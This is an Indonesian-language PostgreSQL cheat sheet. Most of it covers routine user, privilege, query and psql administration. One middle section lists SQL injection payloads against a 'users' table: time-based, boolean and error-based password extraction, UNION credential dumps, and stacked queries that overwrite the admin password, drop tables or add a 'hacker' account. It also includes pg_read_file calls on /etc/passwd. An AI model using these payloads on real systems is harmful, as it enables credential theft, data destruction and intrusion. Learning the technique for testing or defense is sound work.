PostgreSQL Quick Reference

-- Buat user (di dalam psql)
CREATE USER myuser WITH PASSWORD 'mypassword';

-- Buat user dengan privilege login
CREATE USER myuser WITH LOGIN PASSWORD 'securepass';

-- Buat superuser (full access)
CREATE USER admin WITH SUPERUSER PASSWORD 'strongpass';

-- Buat user dengan masa berlaku
CREATE USER tempuser WITH PASSWORD 'temp123' VALID UNTIL '2025-12-31';

-- Buat database
CREATE DATABASE mydb;

-- Buat database dengan owner
CREATE DATABASE mydb OWNER myuser;

-- Beri akses semua privilege ke user di database
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;

-- Beri akses tabel (konek dulu ke database)
\c mydb
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public TO myuser;

-- Memberi akses untuk tabel yang akan dibuat
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON TABLES TO myuser;

CREATE TABLE users (
    id SERIAL PRIMARY KEY,                    -- Auto-increment (INTEGER)
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL,
    password TEXT NOT NULL,
    is_active BOOLEAN DEFAULT TRUE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE posts (
    id SERIAL PRIMARY KEY,
    user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
    title VARCHAR(200) NOT NULL,
    content TEXT,
    published BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

INSERT INTO users (username, email, password)
VALUES ('admin', '[email protected]', 'hash123');

INSERT INTO users (username, email, password) VALUES
    ('alice', '[email protected]', 'hash456'),
    ('bob', '[email protected]', 'hash789');

-- INSERT dengan RETURNING (fitur PostgreSQL)
INSERT INTO users (username, email, password)
VALUES ('newuser', '[email protected]', 'hash')
RETURNING id, created_at;

SELECT * FROM users;
SELECT id, username, email FROM users WHERE is_active = TRUE;
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;

UPDATE users SET password = 'newhash' WHERE username = 'admin';
UPDATE users SET updated_at = NOW() WHERE id = 1;

-- UPDATE dengan RETURNING
UPDATE users SET is_active = FALSE WHERE id = 5 RETURNING *;

DELETE FROM users WHERE username = 'guest';
DELETE FROM posts WHERE created_at < '2024-01-01';

-- DELETE dengan RETURNING
DELETE FROM users WHERE is_active = FALSE RETURNING id, username;

\l                      -- List semua database
\l+                     -- List dengan detail (ukuran, encoding)
\c database_name        -- Connect ke database
\c dbname username      -- Connect dengan user tertentu
\dt                     -- List semua tabel
\dt+                    -- List tabel dengan detail
\dt schema.*            -- List tabel di schema tertentu
\d tablename            -- Describe tabel (kolom, tipe, constraint)
\d+ tablename           -- Describe dengan detail tambahan
\di                     -- List indexes
\ds                     -- List sequences
\dv                     -- List views
\df                     -- List functions

\du                     -- List semua users/roles
\du+                    -- List dengan detail
\dg                     -- List roles
\dp                     -- List permission (table privileges)

\l                      -- Databases
\dn                     -- Schemas
\dx                     -- Installed extensions
\conninfo               -- Info koneksi saat ini
\encoding               -- Encoding saat ini
\timing on              -- Tampilkan waktu eksekusi query
\echo 'hello'           -- Print text
\! ls -la               -- Jalankan command shell

\x auto                 -- Expanded display (toggle)
\pset border 2          -- Border style
\pset format wrapped    -- Format output
\H                      -- HTML output (toggle)
\o output.txt           -- Redirect output ke file
\o                      -- Reset output ke terminal

\q                      -- Keluar dari psql

-- Buat user
CREATE USER app_user WITH PASSWORD 'securepass';

-- Buat role (grup permission)
CREATE ROLE developers;

-- Tambah user ke role
GRANT developers TO app_user;

-- Ubah password
ALTER USER myuser WITH PASSWORD 'newpassword';

-- Ubah atribut
ALTER USER myuser WITH SUPERUSER;
ALTER USER myuser WITH NOSUPERUSER;
ALTER USER myuser WITH CREATEDB;
ALTER USER myuser VALID UNTIL '2025-12-31';

-- Hapus user
DROP USER myuser;
DROP USER IF EXISTS myuser;

-- Hapus user yang memiliki database
DROP DATABASE IF EXISTS mydb;
DROP USER myuser;

-- Grant
GRANT SELECT ON users TO reader;
GRANT INSERT, UPDATE, DELETE ON users TO writer;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO app_user;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_user;

-- Revoke
REVOKE DELETE ON users FROM writer;
REVOKE ALL PRIVILEGES ON DATABASE mydb FROM old_user;

-- Time-based dengan PG_SLEEP
' OR (SELECT pg_sleep(5) FROM users WHERE username='admin') --

' OR (SELECT CASE WHEN (substr(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users LIMIT 1) --

-- Boolean-based
' OR (SELECT length(password) FROM users LIMIT 1) > 10 --
' OR (SELECT substr(password,1,1) FROM users LIMIT 1) = 'a' --

-- CAST error untuk extract data
' OR 1=CAST((SELECT password FROM users LIMIT 1) AS INTEGER) --

' AND 1=CAST((SELECT version()) AS INTEGER) --

-- PostgreSQL menggunakan || untuk concat
' UNION SELECT username || ':' || password FROM users --
' UNION SELECT 'admin' || ':' || 'hash123' --

-- CONCAT function (juga tersedia)
' UNION SELECT CONCAT(username, ':', password) FROM users --

'; UPDATE users SET password = 'hacked' WHERE username = 'admin'; --
'; DROP TABLE logs; --
'; INSERT INTO users(username, password) VALUES ('hacker', 'pwned'); --

-- Membaca file (butuh superuser + GRANT pg_read_server_files)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/hostname');
SELECT pg_read_file('/var/log/postgresql/postgresql-16-main.log', 0, 1000);

-- List directory (butuh superuser)
SELECT * FROM pg_ls_dir('/tmp');

-- Versi PostgreSQL
SELECT version();

-- Current user dan database
SELECT current_user, current_database();

-- List tabel
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

-- List kolom
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users';

-- Enumerasi function
SELECT proname FROM pg_proc WHERE proname LIKE '%read%';

-- PostgreSQL: RETURNING
INSERT INTO users (name) VALUES ('test') RETURNING id;

-- PostgreSQL: ILIKE (case-insensitive)
SELECT * FROM users WHERE name ILIKE '%admin%';

-- PostgreSQL: Array
SELECT ARRAY[1, 2, 3];
SELECT * FROM users WHERE tags @> ARRAY['admin'];

-- PostgreSQL: JSONB query
SELECT * FROM data WHERE json_field->>'name' = 'test';

SELECT pid, usename, application_name, client_addr, state, query
FROM pg_stat_activity;

-- Terminate koneksi tertentu
SELECT pg_terminate_backend(pid);

-- Terminate semua koneksi ke database (sebelum drop)
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE datname = 'mydb';

-- Lihat ekstensi terinstall
\dx

-- Install ekstensi
CREATE EXTENSION IF NOT EXISTS pgcrypto;     -- Hash, enkripsi
CREATE EXTENSION IF NOT EXISTS uuid-ossp;    -- UUID generation
CREATE EXTENSION IF NOT EXISTS hstore;       -- Key-value store
CREATE EXTENSION IF NOT EXISTS pg_trgm;      -- Trigram fuzzy matching
CREATE EXTENSION IF NOT EXISTS postgis;      -- Geospatial (install postgis)

-- Hash password
SELECT crypt('mypassword', gen_salt('bf'));

-- Verify hash
SELECT crypt('mypassword', '$2a$06$hash...') = '$2a$06$hash...';

-- Random UUID
SELECT gen_random_uuid();